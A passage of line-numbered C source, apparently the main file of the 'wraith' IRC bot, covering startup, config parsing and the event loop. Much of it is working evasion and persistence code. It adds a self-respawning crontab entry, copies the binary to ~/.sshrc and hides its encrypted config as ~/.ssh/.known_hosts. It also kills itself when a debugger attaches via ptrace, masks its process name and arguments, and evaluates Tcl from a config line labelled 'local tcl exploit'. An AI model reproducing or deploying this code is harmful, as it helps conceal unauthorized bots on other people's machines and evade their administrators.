  779. otraffic_unknown += otraffic_unknown_today;
  780. itraffic_unknown += itraffic_unknown_today;
  781. otraffic_trans += otraffic_trans_today;
  782. itraffic_trans += itraffic_trans_today;
  783. otraffic_irc_today = otraffic_bn_today = 0;
  784. otraffic_dcc_today = otraffic_unknown_today = 0;
  785. itraffic_irc_today = itraffic_bn_today = 0;
  786. itraffic_dcc_today = itraffic_unknown_today = 0;
  787. itraffic_trans_today = otraffic_trans_today = 0;
  788. }
  789. static void event_loaded()
  790. {
  791. check_tcl_event("loaded");
  792. }
  793. void kill_tcl();
  794. extern module_entry *module_list;
  795. void restart_chons();
  796. void check_static(char *, char *(*)());
  797. #include "mod/static.h"
  798. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  799. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  800. void got_ed(char *which, char *in, char *out)
  801. {
  802. Context;
  803. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  804. if (!in || !out)
  805. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  806. check_static("blowfish", blowfish_start);
  807. module_load(ENCMOD);
  808. if (!strcmp(which, "e")) {
  809. EncryptFile(in, out);
  810. fatal("File Encryption complete",3);
  811. } else if (!strcmp(which, "d")) {
  812. DecryptFile(in, out);
  813. fatal("File Decryption complete",3);
  814. }
  815. exit(0);
  816. }
  817. static inline void garbage_collect(void)
  818. {
  819. static u_8bit_t run_cnt = 0;
  820. if (run_cnt == 3)
  821. garbage_collect_tclhash();
  822. else
  823. run_cnt++;
  824. }
  825. int crontab_exists() {
  826. char buf[2048], *out=NULL;
  827. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  828. if (shell_exec(buf, NULL, &out, NULL)) {
  829. if (out && strstr(out, binname)) {
  830. nfree(out);
  831. return 1;
  832. } else {
  833. if (out)
  834. nfree(out);
  835. return 0;
  836. }
  837. } else
  838. return (-1);
  839. }
  840. void crontab_create(int interval) {
  841. char tmpfile[161],
  842. buf[256];
  843. FILE *f;
  844. int fd;
  845. /* always use mkstemp() when handling temp files! -dizz */
  846. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  847. if ((fd = mkstemp(tmpfile)) == -1) {
  848. unlink(tmpfile);
  849. return;
  850. }
  851. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  852. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  853. buf[0] = 0;
  854. if (interval == 1)
  855. strcpy(buf, "*");
  856. else {
  857. int i = 1;
  858. int si = random() % interval;
  859. while (i < 60) {
  860. if (buf[0])
  861. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  862. else
  863. sprintf(buf, "%i", (i + si) % 60);
  864. i += interval;
  865. }
  866. }
  867. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  868. fseek(f, 0, SEEK_END);
  869. fprintf(f, STR("\n%s\n"), buf);
  870. fclose(f);
  871. sprintf(buf, STR("crontab %s"), tmpfile);
  872. shell_exec(buf, NULL, NULL, NULL);
  873. }
  874. close(fd);
  875. unlink(tmpfile);
  876. }
  877. static void check_crontab()
  878. {
  879. int i = 0;
  880. #ifdef LEAF
  881. if (!localhub)
  882. fatal("something is wrong.", 0);
  883. #endif
  884. i=crontab_exists();
  885. if (!i) {
  886. crontab_create(5);
  887. i=crontab_exists();
  888. if (!i)
  889. printf("* Error writing crontab entry.\n");
  890. }
  891. }
  892. #ifdef LEAF
  893. static void gotspawn(char *filename)
  894. {
  895. FILE *fp;
  896. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  897. if (!(fp = fopen(filename, "r")))
  898. fatal("Cannot read from local config (2)", 0);
  899. check_static("blowfish", blowfish_start);
  900. module_load(ENCMOD);
  901. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  902. {
  903. Context;
  904. temps = (char *) decrypt_string(netpass, decryptit(templine));
  905. #ifdef S_PSCLOAK
  906. sdprintf("GOTSPAWN: %s", temps);
  907. #endif /* S_PSCLOAK */
  908. pscloak = atoi(newsplit(&temps));
  909. if (temps[0])
  910. nick = newsplit(&temps);
  911. if (!nick)
  912. fatal("invalid config (2).",0);
  913. if (temps[0])
  914. ip = newsplit(&temps);
  915. if (temps[0])
  916. host = newsplit(&temps);
  917. if (temps[0])
  918. ipsix = newsplit(&temps);
  919. snprintf(origbotname, 10, "%s", nick);
  920. if (ip[1]) {
  921. if (ip[0] == '!') { //natip
  922. ip++;
  923. sprintf(natip,"%s",ip);
  924. } else {
  925. snprintf(myip, 120, "%s", ip);
  926. }
  927. }
  928. if (host && host[1]) {
  929. if (host[0] == '+') { //ip6 host
  930. host++;
  931. sprintf(hostname6,"%s",host);
  932. } else { //normal ip4 host
  933. sprintf(hostname,"%s",host);
  934. }
  935. }
  936. if (ipsix && ipsix[1]) {
  937. snprintf(myip6, 120, "%s", ipsix);
  938. }
  939. }
  940. fclose(fp);
  941. unlink(filename);
  942. }
  943. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  944. {
  945. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  946. FILE *fp;
  947. sprintf(buf, "%s", bin);
  948. sprintf(bindir, "%s", dirname(buf));
  949. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  950. if (!(fp = fopen(buf, "w")))
  951. fatal("Cannot create spawnfiles...", 0);
  952. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  953. fflush(fp);
  954. fclose(fp);
  955. sprintf(bufrun, "%s -c %s", bin, buf);
  956. return system(bufrun);
  957. }
  958. #endif
  959. void check_trace_start()
  960. {
  961. #ifdef S_ANTITRACE
  962. int parent = getpid();
  963. int xx = 0, i = 0;
  964. #ifdef __linux__
  965. xx = fork();
  966. if (xx == -1) {
  967. printf(STR("Can't fork process!\n"));
  968. exit(1);
  969. } else if (xx == 0) {
  970. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  971. if (i == (-1) && errno == EPERM) {
  972. kill(parent, SIGKILL);
  973. exit(1);
  974. } else {
  975. waitpid(parent, &i, 0);
  976. kill(parent, SIGCHLD);
  977. ptrace(PTRACE_DETACH, parent, 0, 0);
  978. kill(parent, SIGCHLD);
  979. }
  980. exit(0);
  981. } else {
  982. wait(&i);
  983. }
  984. #endif /* __linux__ */
  985. #ifdef __FreeBSD__
  986. xx = fork();
  987. if (xx == -1) {
  988. printf(STR("Can't fork process!\n"));
  989. exit(1);
  990. } else if (xx == 0) {
  991. i = ptrace(PT_ATTACH, parent, 0, 0);
  992. if (i == (-1) && errno == EBUSY) {
  993. kill(parent, SIGKILL);
  994. exit(1);
  995. } else {
  996. wait(&i);
  997. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  998. kill(parent, SIGCHLD);
  999. wait(&i);
  1000. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1001. wait(&i);
  1002. }
  1003. exit(0);
  1004. } else {
  1005. waitpid(xx, NULL, 0);
  1006. }
  1007. #endif /* __FreeBSD__ */
  1008. #ifdef __OpenBSD__
  1009. xx = fork();
  1010. if (xx == -1) {
  1011. printf(STR("Can't fork process!\n"));
  1012. exit(1);
  1013. } else if (xx == 0) {
  1014. i = ptrace(PT_ATTACH, parent, 0, 0);
  1015. if (i == (-1) && errno == EBUSY) {
  1016. kill(parent, SIGKILL);
  1017. exit(1);
  1018. } else {
  1019. wait(&i);
  1020. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1021. kill(parent, SIGCHLD);
  1022. wait(&i);
  1023. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1024. wait(&i);
  1025. }
  1026. exit(0);
  1027. } else {
  1028. waitpid(xx, NULL, 0);
  1029. }
  1030. #endif /* __OpenBSD__ */
  1031. #endif /* S_ANTITRACE */
  1032. }
  1033. char *homedir()
  1034. {
  1035. static char home[DIRMAX];
  1036. struct passwd *pw;
  1037. pw = getpwuid(geteuid());
  1038. if (!pw)
  1039. werr(ERR_PASSWD);
  1040. snprintf(home, sizeof home, "%s", pw->pw_dir);
  1041. return home;
  1042. }
  1043. char *confdir()
  1044. {
  1045. static char conf[DIRMAX];
  1046. #ifdef LEAF
  1047. {
  1048. snprintf(conf, sizeof conf, "%s/.ssh", homedir());
  1049. }
  1050. #endif /* LEAF */
  1051. #ifdef HUB
  1052. {
  1053. char *tmpdir;
  1054. tmpdir = nmalloc(sizeof(binname)+1);
  1055. strcpy(tmpdir, binname);
  1056. snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
  1057. nfree(tmpdir);
  1058. }
  1059. #endif /* HUB */
  1060. return conf;
  1061. }
  1062. int main(int argc, char **argv)
  1063. {
  1064. int xx, i;
  1065. #ifdef LEAF
  1066. int x = 1;
  1067. #endif
  1068. char buf[SGRAB + 9], s[25];
  1069. FILE *f;
  1070. struct sigaction sv;
  1071. struct chanset_t *chan;
  1072. #ifdef LEAF
  1073. int skip = 0;
  1074. FILE *fp;
  1075. char newbinbuf[DIRMAX], newbin[DIRMAX], tmp[DIRMAX],
  1076. cfile[DIRMAX], templine[8192], *temps;
  1077. int ok = 1;
  1078. #else
  1079. char tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1080. #endif
  1081. char c[1024], *vers_n, *unix_n;
  1082. #ifdef HAVE_UNAME
  1083. struct utsname un;
  1084. #endif
  1085. char check[100];
  1086. #ifdef DEBUG_MEM
  1087. /* Make sure it can write core, if you make debug. Else it's pretty
  1088. * useless (dw)
  1089. */
  1090. {
  1091. #include <sys/resource.h>
  1092. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1093. // rsslim.rlim_cur = 30720;
  1094. // rsslim.rlim_max = 30720;
  1095. // setrlimit(RLIMIT_RSS, &rsslim);
  1096. // stacklim.rlim_cur = 30720;
  1097. // stacklim.rlim_max = 30720;
  1098. // setrlimit(RLIMIT_STACK, &stacklim);
  1099. plim.rlim_cur = 50;
  1100. plim.rlim_max = 50;
  1101. setrlimit(RLIMIT_NPROC, &plim);
  1102. fdlim.rlim_cur = 200;
  1103. fdlim.rlim_max = 200;
  1104. //#ifdef __FreeBSD__
  1105. // setrlimit(RLIMIT_OFILE, &fdlim);
  1106. //#else
  1107. setrlimit(RLIMIT_NOFILE, &fdlim);
  1108. //#endif
  1109. cdlim.rlim_cur = RLIM_INFINITY;
  1110. cdlim.rlim_max = RLIM_INFINITY;
  1111. setrlimit(RLIMIT_CORE, &cdlim);
  1112. }
  1113. #endif
  1114. /* Initialise context list */
  1115. for (i = 0; i < 16; i++)
  1116. Context;
  1117. /* Version info! */
  1118. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1119. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1120. /* Now add on the patchlevel (for Tcl) */
  1121. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1122. #ifdef STOP_UAC
  1123. {
  1124. int nvpair[2];
  1125. nvpair[0] = SSIN_UACPROC;
  1126. nvpair[1] = UAC_NOPRINT;
  1127. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1128. }
  1129. #endif
  1130. /* Set up error traps: */
  1131. sv.sa_handler = got_bus;
  1132. sigemptyset(&sv.sa_mask);
  1133. #ifdef SA_RESETHAND
  1134. sv.sa_flags = SA_RESETHAND;
  1135. #else
  1136. sv.sa_flags = 0;
  1137. #endif
  1138. sigaction(SIGBUS, &sv, NULL);
  1139. sv.sa_handler = got_segv;
  1140. sigaction(SIGSEGV, &sv, NULL);
  1141. #ifdef SA_RESETHAND
  1142. sv.sa_flags = 0;
  1143. #endif
  1144. sv.sa_handler = got_fpe;
  1145. sigaction(SIGFPE, &sv, NULL);
  1146. sv.sa_handler = got_term;
  1147. sigaction(SIGTERM, &sv, NULL);
  1148. sv.sa_handler = got_stop;
  1149. sigaction(SIGSTOP, &sv, NULL);
  1150. #ifdef S_HIJACKCHECK
  1151. sv.sa_handler = got_cont;
  1152. sigaction(SIGCONT, &sv, NULL);
  1153. #endif
  1154. sv.sa_handler = got_hup;
  1155. sigaction(SIGHUP, &sv, NULL);
  1156. sv.sa_handler = got_quit;
  1157. sigaction(SIGQUIT, &sv, NULL);
  1158. sv.sa_handler = SIG_IGN;
  1159. sigaction(SIGPIPE, &sv, NULL);
  1160. sv.sa_handler = got_ill;
  1161. sigaction(SIGILL, &sv, NULL);
  1162. sv.sa_handler = got_alarm;
  1163. sigaction(SIGALRM, &sv, NULL);
  1164. Context;
  1165. /* Initialize variables and stuff */
  1166. now = time(NULL);
  1167. chanset = NULL;
  1168. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1169. lastmin = nowtm.tm_min;
  1170. srandom(now % (getpid() + getppid()));
  1171. init_mem();
  1172. myuid = geteuid();
  1173. binname = getfullbinname(argv[0]);
  1174. check_trace_start();
  1175. if (!can_stat(binname))
  1176. werr(ERR_BINSTAT);
  1177. if (!fixmod(binname))
  1178. werr(ERR_BINMOD);
  1179. init_settings();
  1180. init_tcl(argc, argv);
  1181. if (argc) {
  1182. sdprintf("Calling dtx_arg with %d params.", argc);
  1183. dtx_arg(argc, argv);
  1184. }
  1185. #ifdef LEAF
  1186. sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
  1187. chdir(homedir());
  1188. snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  1189. snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
  1190. #endif /* LEAF */
  1191. #ifdef HUB
  1192. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
  1193. #endif /* HUB */
  1194. #ifdef LEAF
  1195. /* is the homedir a symlink? */
  1196. sdprintf("newbin starts at: %s", newbin);
  1197. /* fuck it, I hate dealing with this shit.
  1198. if (!can_stat(newbin)) {
  1199. int f = 0;
  1200. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1201. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1202. if (!f) {
  1203. sdprintf("symlink newbin: %s", newbin);
  1204. strcpy(newbin, newbinbuf);
  1205. sdprintf("newbin is now: %s", newbin);
  1206. } else {
  1207. sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
  1208. //fuck it. (no paths)
  1209. sprintf(newbin, ".sshrc");
  1210. copyfile(binname, newbin);
  1211. skip = 1;
  1212. }
  1213. }
  1214. }
  1215. sdprintf(STR("skip is: %d"), skip);
  1216. */
  1217. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1218. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  1219. unlink(newbin);
  1220. if (copyfile(binname,newbin))
  1221. ok = 0;
  1222. if (ok)
  1223. if (!can_stat(newbin)) {
  1224. unlink(newbin);
  1225. ok = 0;
  1226. }
  1227. if (ok)
  1228. if (!fixmod(newbin)) {
  1229. unlink(newbin);
  1230. ok = 0;
  1231. }
  1232. if (!ok)
  1233. werr(ERR_WRONGBINDIR);
  1234. else {
  1235. unlink(binname);
  1236. system(newbin);
  1237. sdprintf(STR("exiting to let new binary run..."));
  1238. exit(0);
  1239. }
  1240. }
  1241. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1242. #endif /* LEAF */
  1243. snprintf(tmp, sizeof tmp, "%s/", confdir());
  1244. if (!can_stat(tmp)) {
  1245. #ifdef LEAF
  1246. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1247. unlink(confdir());
  1248. if (!can_stat(confdir()))
  1249. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  1250. #endif /* LEAF */
  1251. werr(ERR_CONFSTAT);
  1252. #ifdef LEAF
  1253. }
  1254. #endif /* LEAF */
  1255. }
  1256. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1257. if (!can_stat(tmp)) {
  1258. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1259. unlink(tempdir);
  1260. if (!can_stat(tempdir))
  1261. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1262. werr(ERR_TMPSTAT);
  1263. }
  1264. }
  1265. if (!fixmod(confdir()))
  1266. werr(ERR_CONFDIRMOD);
  1267. if (!fixmod(tempdir))
  1268. werr(ERR_TMPMOD);
  1269. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1270. #ifdef LEAF
  1271. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1272. #else
  1273. snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1274. #endif /* LEAF */
  1275. if (!can_stat(cfile))
  1276. werr(ERR_NOCONF);
  1277. if (!fixmod(cfile))
  1278. werr(ERR_CONFMOD);
  1279. Context;
  1280. init_dcc_max();
  1281. init_userent();
  1282. init_misc();
  1283. init_bots();
  1284. init_net();
  1285. init_modules();
  1286. init_userrec();
  1287. if (backgrd)
  1288. bg_prepare_split();
  1289. init_botcmd();
  1290. link_statics();
  1291. module_load(ENCMOD);
  1292. #ifdef LEAF
  1293. if (localhub) { //we only want to read the config if we are the spawn bot..
  1294. #endif /* LEAF */
  1295. #ifdef HAVE_UNAME
  1296. if (uname(&un) < 0) {
  1297. #endif /* HAVE_UNAME */
  1298. unix_n = "*unkown*";
  1299. vers_n = "";
  1300. #ifdef HAVE_UNAME
  1301. } else {
  1302. unix_n = un.nodename;
  1303. #ifdef __FreeBSD__
  1304. vers_n = un.release;
  1305. #else
  1306. vers_n = un.version;
  1307. #endif /* __FreeBSD__ */
  1308. }
  1309. #endif /* HAVE_UNAME */
  1310. i = 0;
  1311. if (!(f = fopen(cfile, "r")))
  1312. werr(0);
  1313. Context;
  1314. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1315. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1316. int skip = 0;
  1317. if (templine[0] != '+') {
  1318. printf(STR("%d: "), i);
  1319. werr(ERR_CONFBADENC);
  1320. }
  1321. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1322. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1323. printf(STR("%d: "), i);
  1324. werr(ERR_CONFBADENC);
  1325. }
  1326. snprintf(c, sizeof c, "%s",temps);
  1327. if (c[0] == '*')
  1328. skip = 1;
  1329. else if (c[0] == '-' && !skip) { //this is the uid
  1330. newsplit(&temps);
  1331. if (geteuid() != atoi(temps)) {
  1332. sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
  1333. werr(ERR_WRONGUID);
  1334. }
  1335. } else if (c[0] == '+' && !skip) { //this is the uname
  1336. int r = 0;
  1337. newsplit(&temps);
  1338. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1339. if ((r = strcmp(temps, check))) {
  1340. sdprintf("wrong uname, conf: %s :: %s", check, temps);
  1341. werr(ERR_WRONGUNAME);
  1342. }
  1343. } else if (c[0] == '!') { //local tcl exploit
  1344. if (c[1] == '-') { //dont use pscloak
  1345. #ifdef S_PSCLOAK
  1346. sdprintf("NOT CLOAKING");
  1347. #endif /* S_PSCLOAK */
  1348. pscloak = 0;
  1349. } else {
  1350. newsplit(&temps);
  1351. Tcl_Eval(interp, temps);
  1352. }
  1353. } else if (c[0] != '#') { //now to parse nick/hosts
  1354. //we have the right uname/uid, safe to setup crontab now.
  1355. i++;
  1356. nick = newsplit(&temps);
  1357. if (!nick || !nick[0])
  1358. werr(ERR_BADCONF);
  1359. sdprintf("Read nick from config: %s", nick);
  1360. if (temps[0])
  1361. ip = newsplit(&temps);
  1362. if (temps[0])
  1363. host = newsplit(&temps);
  1364. if (temps[0])
  1365. ipsix = newsplit(&temps);
  1366. if (i == 1) { //this is the first bot ran/parsed
  1367. strncpyz(s, ctime(&now), sizeof s);
  1368. strcpy(&s[11], &s[20]);
  1369. // printf("--- Loading %s (%s)\n\n", ver, s);
  1370. if (ip && ip[0] == '!') { //natip
  1371. ip++;
  1372. sprintf(natip, "%s",ip);
  1373. } else {
  1374. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1375. snprintf(myip, 120, "%s", ip);
  1376. }
  1377. snprintf(origbotname, 10, "%s", nick);
  1378. #ifdef HUB
  1379. sprintf(userfile, "%s/.%s.user", confdir(), nick);
  1380. #endif /* HUB */
  1381. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1382. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1383. if (host[0] == '+') { //ip6 host
  1384. host++;
  1385. sprintf(hostname6, "%s",host);
  1386. } else //normal ip4 host
  1387. sprintf(hostname, "%s",host);
  1388. }
  1389. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1390. snprintf(myip6, 120, "%s",ipsix);
  1391. }
  1392. }
  1393. #ifdef LEAF
  1394. else { //these are the rest of the bots..
  1395. char buf2[DIRMAX];
  1396. xx = 0, x = 0, errno = 0;
  1397. s[0] = '\0';
  1398. /* first let's determine if the bot is already running or not.. */
  1399. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1400. fp = fopen(buf2, "r");
  1401. if (fp != NULL) {
  1402. fgets(s, 10, fp);
  1403. fclose(fp);
  1404. xx = atoi(s);
  1405. if (updating) {
  1406. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1407. unlink(buf2);
  1408. }
  1409. kill(xx, SIGCHLD);
  1410. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1411. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1412. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1413. }
  1414. } else {
  1415. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1416. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1417. }
  1418. }
  1419. #endif /* LEAF */
  1420. } // if read in[0] != #
  1421. temps = 0;
  1422. }
  1423. fclose(f);
  1424. #ifdef LEAF
  1425. if (updating)
  1426. exit(0); //let the 5 min timer restart us.
  1427. } // (localhub)
  1428. #endif /* LEAF */
  1429. module_load("dns");
  1430. module_load("channels");
  1431. #ifdef LEAF
  1432. module_load("server");
  1433. module_load("irc");
  1434. #endif /* LEAF */
  1435. module_load("transfer");
  1436. module_load("share");
  1437. module_load("update");
  1438. module_load("notes");
  1439. module_load("console");
  1440. module_load("ctcp");
  1441. module_load("compress");
  1442. chanprog();
  1443. #ifdef LEAF
  1444. if (localhub) {
  1445. sdprintf("I am localhub (%s)", origbotname);
  1446. #endif /* LEAF */
  1447. check_crontab();
  1448. #ifdef LEAF
  1449. }
  1450. #endif
  1451. if (!encrypt_pass) {
  1452. sdprintf(MOD_NOCRYPT);
  1453. bg_send_quit(BG_ABORT);
  1454. exit(1);
  1455. }
  1456. cache_miss = 0;
  1457. cache_hit = 0;
  1458. if (!pid_file[0])
  1459. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1460. f = fopen(pid_file, "r");
  1461. if ((localhub && !updating) || !localhub) {
  1462. if (f != NULL) {
  1463. fgets(s, 10, f);
  1464. xx = atoi(s);
  1465. kill(xx, SIGCHLD);
  1466. if (errno != ESRCH) { //!= is PID is running.
  1467. sdprintf("%s is already running, pid: %d", botnetnick, xx);
  1468. bg_send_quit(BG_ABORT);
  1469. exit(1);
  1470. }
  1471. }
  1472. }
  1473. #ifdef LEAF
  1474. #ifdef S_PSCLOAK
  1475. if (pscloak) {
  1476. int on = 0;
  1477. strncpy(argv[0],progname(),strlen(argv[0]));
  1478. //this clears all the params..
  1479. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1480. }
  1481. #endif /* PSCLOAK */
  1482. #endif /* LEAF */
  1483. i = 0;
  1484. for (chan = chanset; chan; chan = chan->next)
  1485. i++;
  1486. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1487. botnetnick, i, count_users(userlist));
  1488. /* Move into background? */
  1489. if (backgrd) {
  1490. #ifndef CYGWIN_HACKS
  1491. bg_do_split();
  1492. } else { /* !backgrd */
  1493. #endif /* CYGWIN_HACKS */
  1494. xx = getpid();
  1495. if (xx != 0) {
  1496. FILE *fp;
  1497. /* Write pid to file */
  1498. unlink(pid_file);
  1499. fp = fopen(pid_file, "w");
  1500. if (fp != NULL) {
  1501. fprintf(fp, "%u\n", xx);
  1502. if (fflush(fp)) {
  1503. /* Let the bot live since this doesn't appear to be a botchk */
  1504. printf(EGG_NOWRITE, pid_file);
  1505. fclose(fp);
  1506. unlink(pid_file);
  1507. } else
  1508. fclose(fp);
  1509. } else
  1510. printf(EGG_NOWRITE, pid_file);
  1511. #ifdef CYGWIN_HACKS
  1512. printf("Launched into the background (pid: %d)\n\n", xx);
  1513. #endif /* CYGWIN_HACKS */
  1514. }
  1515. }
  1516. use_stderr = 0; /* Stop writing to stderr now */
  1517. if (backgrd) {
  1518. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1519. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1520. setpgid(0, 0);
  1521. #endif
  1522. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1523. freopen("/dev/null", "r", stdin);
  1524. freopen("/dev/null", "w", stdout);
  1525. freopen("/dev/null", "w", stderr);
  1526. #ifdef CYGWIN_HACKS
  1527. FreeConsole();
  1528. #endif /* CYGWIN_HACKS */
  1529. }
  1530. /* Terminal emulating dcc chat */
  1531. if (!backgrd && term_z) {
  1532. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1533. dcc[n].addr = iptolong(getmyip());
  1534. dcc[n].sock = STDOUT;
  1535. dcc[n].timeval = now;
  1536. dcc[n].u.chat->con_flags = conmask;
  1537. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1538. dcc[n].status = STAT_ECHO;
  1539. strcpy(dcc[n].nick, "HQ");
  1540. strcpy(dcc[n].host, "llama@console");
  1541. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1542. /* Make sure there's an innocuous HQ user if needed */
  1543. if (!dcc[n].user) {
  1544. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1545. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1546. }
  1547. setsock(STDOUT, 0); /* Entry in net table */
  1548. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1549. dcc_chatter(n);
  1550. }
  1551. then = now;
  1552. online_since = now;
  1553. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1554. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1555. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1556. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1557. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1558. add_hook(HOOK_REHASH, (Function) event_rehash);
  1559. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1560. add_hook(HOOK_USERFILE, (Function) event_save);
  1561. #ifdef HUB
  1562. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1563. #endif /* HUB */
  1564. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1565. add_hook(HOOK_LOADED, (Function) event_loaded);
  1566. call_hook(HOOK_LOADED);
  1567. debug0("main: entering loop");
  1568. while (1) {
  1569. int socket_cleanup = 0;
  1570. /* Process a single tcl event */
  1571. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1572. /* Lets move some of this here, reducing the numer of actual
  1573. * calls to periodic_timers
  1574. */
  1575. now = time(NULL);
  1576. random(); /* Woop, lets really jumble things */
  1577. if (now != then) { /* Once a second */
  1578. call_hook(HOOK_SECONDLY);
  1579. then = now;
  1580. }
  1581. /* Only do this every so often. */
  1582. if (!socket_cleanup) {
  1583. socket_cleanup = 5;
  1584. /* Remove dead dcc entries. */
  1585. dcc_remove_lost();
  1586. /* Check for server or dcc activity. */
  1587. dequeue_sockets();
  1588. } else
  1589. socket_cleanup--;
  1590. /* Free unused structures. */
  1591. garbage_collect();
  1592. xx = sockgets(buf, &i);
  1593. if (xx >= 0) { /* Non-error */
  1594. int idx;
  1595. for (idx = 0; idx < dcc_total; idx++)
  1596. if (dcc[idx].sock == xx) {
  1597. if (dcc[idx].type && dcc[idx].type->activity) {
  1598. /* Traffic stats */
  1599. if (dcc[idx].type->name) {
  1600. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1601. itraffic_bn_today += strlen(buf) + 1;
  1602. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1603. itraffic_irc_today += strlen(buf) + 1;
  1604. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1605. itraffic_dcc_today += strlen(buf) + 1;
  1606. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1607. itraffic_dcc_today += strlen(buf) + 1;
  1608. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1609. itraffic_trans_today += strlen(buf) + 1;
  1610. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1611. itraffic_trans_today += strlen(buf) + 1;
  1612. else
  1613. itraffic_unknown_today += strlen(buf) + 1;
  1614. }
  1615. dcc[idx].type->activity(idx, buf, i);
  1616. } else
  1617. putlog(LOG_MISC, "*",
  1618. "!!! untrapped dcc activity: type %s, sock %d",
  1619. dcc[idx].type->name, dcc[idx].sock);
